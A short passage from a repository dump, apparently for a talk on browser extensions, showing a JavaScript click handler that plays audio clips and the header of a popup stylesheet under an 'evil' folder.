22 | 23 | document.querySelector(".js-audios").addEventListener("click", e => { 24 | if (e.target.dataset.index) { 25 | const audio = new Audio(audios[e.target.dataset.index]); 26 | audio.play(); 27 | } 28 | }); 29 | })(); 30 | -------------------------------------------------------------------------------- /evil/video/plugin/popup/styles.css: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xnimorz/browser-extensions-talk-holyjs/fa6be6faf7f23af05ad33fd4b60c65c9f0b17be6/evil/video/plugin/popup/styles.css --------------------------------------------------------------------------------